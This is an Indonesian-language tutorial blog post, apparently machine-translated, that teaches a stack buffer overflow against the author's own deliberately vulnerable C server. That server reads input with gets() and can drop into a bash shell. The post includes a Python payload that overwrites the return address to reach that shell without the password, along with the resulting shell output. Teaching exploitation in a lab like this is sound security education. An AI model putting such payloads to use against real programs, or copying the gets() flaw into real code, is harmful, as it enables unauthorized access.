Buffer Overflow Pertama Anda

Nov 27 2022
Apakah Anda seorang pelajar, pengembang, atau manajer di sebuah perusahaan, Anda harus mencoba ini. Kunci untuk menulis kode yang aman adalah memahami betapa buruknya kerusakan kode.

Apakah Anda seorang pelajar, pengembang, atau manajer di sebuah perusahaan, Anda harus mencoba ini. Kunci untuk menulis kode yang aman adalah memahami betapa buruknya kerusakan kode. Satu-satunya cara untuk memecahkan kode yang buruk adalah dengan mengotori tangan Anda dan mulai memecahkan tantangan eksploitasi biner. Pada artikel ini, saya akan memandu Anda tentang cara menjalankan serangan buffer overflow Anda sendiri menggunakan contoh yang saya lakukan di YouTube.

Di salah satu video YouTube saya, saya menjelaskan bagaimana string dalam bahasa Pemrograman C membuat orang diretas. Alasan utama untuk ini adalah bahwa tidak ada atribut panjang panggang yang terkait dengan tipe string C. Satu-satunya cara untuk mengetahui apakah sebuah string sudah selesai, adalah dengan menavigasi ke akhir string.

https://youtu.be/fjMrDDj47E8

Konsep ini telah menyebabkan kerentanan buffer overflow yang tak terhitung jumlahnya dalam perangkat lunak, dan akibatnya, telah menyebabkan ribuan serangan dunia maya dan pencurian data pribadi.

Server Rentan Kami

Di bawah ini adalah beberapa kode untuk server sederhana di C.

#include <stdio.h>
#include <secrets.h>

void debug() 
{
    printf("!! ENTERING DEBUG MODE !!\n");
    system("/bin/bash");
}

int checkPassword()
{
    char password[64];

    printf("password: ");
    gets(password);

    return isValidPassword(password);
}

int main(int argc, char **argv)
{
    printf("WELCOME TO THE SECURE SERVER\n");

    if (checkPassword())
    {
        debug();
    } else {
        printf("Wrong password, sorry;\n");
    }
}

Namun, ada kerentanan besar di sini. Kata sandi yang akhirnya diperiksa dibaca oleh fungsi get , yang merupakan fungsi yang sangat rentan. Jika Anda tidak mempercayai saya, lihat halaman manual untuk mendapatkan.

Never use gets(). Because it is impossible to tell without knowing the data 
in advance how many characters gets() will read, and because gets() will 
continue to store characters past the end of the buffer, it is extremely 
dangerous to use. It has been used to break computer security. Use fgets() 
instead.

Tumpukan

Bagian tersulit untuk dipahami oleh pemrogram dan profesional keamanan dunia maya adalah bagaimana kelebihan data di luar buffer dapat menyebabkan peretas mendapatkan kendali atas kode Anda dan akhirnya, komputer Anda. Hal ini terjadi karena cara komputer mengatur memori saat program berjalan.

Gambar 1: contoh kontrol alur program

Pada contoh kode di atas, program dijalankan di main. Setelah main dimulai, pada baris 10, fungsi_lain dipanggil. Apa yang sangat penting untuk dipahami, adalah bagaimana fungsi_lain tahu untuk pergi ke baris 11 setelah kembali.

Struktur yang berisi informasi ini disebut sebagai "tumpukan". Tumpukan adalah wilayah RAM yang digunakan saat program Anda dijalankan dan digunakan untuk menyimpan informasi aliran kontrol (seperti alamat pengirim), tetapi juga data.

Saat main memanggil other_function , alamat yang akan dieksekusi berikutnya di main setelah other_function kembali didorong ke atas tumpukan. fungsi_lain berjalan, dan kemudian program kembali ke alamat yang disimpan oleh main .

Di sinilah buffer overflow mulai menjadi masalah. Jika ada buffer overflow dalam data program Anda, Anda dapat mengubah informasi alur kontrol, dan akhirnya mengubah cara program dijalankan.

Cobalah sendiri

Hal yang sama berlaku untuk cuplikan kode ini di sini. Gagasan di balik program ini adalah: jika Anda mengetahui kata sandinya, Anda mendapatkan sebuah shell. Sayangnya, kami para peretas tidak mengetahui kata sandinya, jadi kami tidak mendapatkan shell. Namun, karena fungsi ini digunakan, kita dapat memanfaatkan kerentanan buffer overflow dan melimpahkan alamat pengirim. Alih-alih kembali ke main , kita dapat langsung kembali ke fungsi debug tanpa mengetahui kata sandinya.

Ikuti bersama di sini:

https://github.com/lowlevellearning/secure-server-stuff

Uji Fungsi

Untuk memulai, kita harus menjalankan server dan menguji fungsionalitasnya. Juga, mari kita coba menebak kata sandinya.

Baiklah, tidak ada dadu. Di sinilah peretasan dimulai.

Hancurkan Server

Kita dapat memanfaatkan buffer overflow, seperti namanya, dengan meluapkan buffer. Untuk melakukan ini, kami menyediakan lebih banyak data daripada yang dapat ditangani oleh server.

Di bagian bawah, kita melihat bahwa program tersebut memiliki Kesalahan Segmentasi. Artinya, program mencoba mengakses memori yang tidak dapat diaksesnya. Jika Anda seorang pengembang, ini buruk. Tapi, jika Anda mencoba meretas server, ini bagus :)

Mari kita pecahkan kecelakaan itu sedikit lebih jauh.

Di sini, kita dapat melihat bahwa program tersegfault ketika mencoba menjalankan instruksi di alamat 0x41414141. Alamat itu seharusnya tampak… aneh. Yang cukup menarik, 0x41414141 adalah representasi hex dari string "AAAA", yang berarti string As kita meluap ke alamat pengirim dan CPU mencoba mengeksekusinya. SEKARANG HACKING!

Mengambil alih

Untuk mendapatkan kontrol yang tepat dari alamat pengirim, kita perlu menentukan secara spesifik bagian mana dari string ASCII kita yang menyebabkan program mogok. Kita dapat melakukannya dengan memodulasi string kita dengan karakter yang berbeda, dan menggunakan karakter tersebut untuk menentukan di mana kendali kita atas alamat pengirim dimulai dan diakhiri.

Alih-alih string As yang panjang, kami memasukkan 64 As, diikuti oleh serangkaian karakter ASCII tambahan. 64 adalah panjang buffer input kami, jadi itu tempat yang bagus untuk mulai menebak panjangnya. Setelah itu, kami memasukkan karakter tambahan. Untuk memeriksa di mana kontrol kami dimulai, gunakan perintah yang sama seperti sebelumnya.

Sekarang Anda dapat melihat kami memiliki alamat pengirim yang baru. 0x45454545 adalah representasi hex dari "EEEE"! Artinya, kami telah menentukan di mana luapan kami mengendalikan pointer kembali. Dari sini, kita perlu memasukkan alamat ke buffer yang sebenarnya kita pedulikan. Kami mencoba untuk kembali ke fungsi debug, jadi kami harus meletakkan alamat itu di tempat string EEEE.

Untuk menentukan alamat debug, kami menjalankan perintah sederhana…

objdump -d -Mintel ./hacked | less

Sepertinya alamat debugnya adalah 0x08049296. Jika kita meletakkan alamat debug di tempat string EEEE kita berada, mungkin kita dapat mengontrol program dan kembali ke debug tanpa memerlukan kata sandi.

Eksploitasi Terakhir

Kita bisa melakukannya dengan menggunakan beberapa python-fu.

import sys

payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += b"BBBBCCCCDDDD"
payload += b"\x08\x04\x92\x96"[::-1]

sys.stdout.buffer.write(payload)

user@user:~/vuln$ (python3 exploit.py; cat) | ./hacked
WELCOME TO THE SECURE SERVER

password: !! ENTERING DEBUG MODE !!

cat password
too_kool_4_skoo

Silakan ikuti saya di Medium, pergi Berlangganan di YouTube. Akan datang lebih banyak lagi!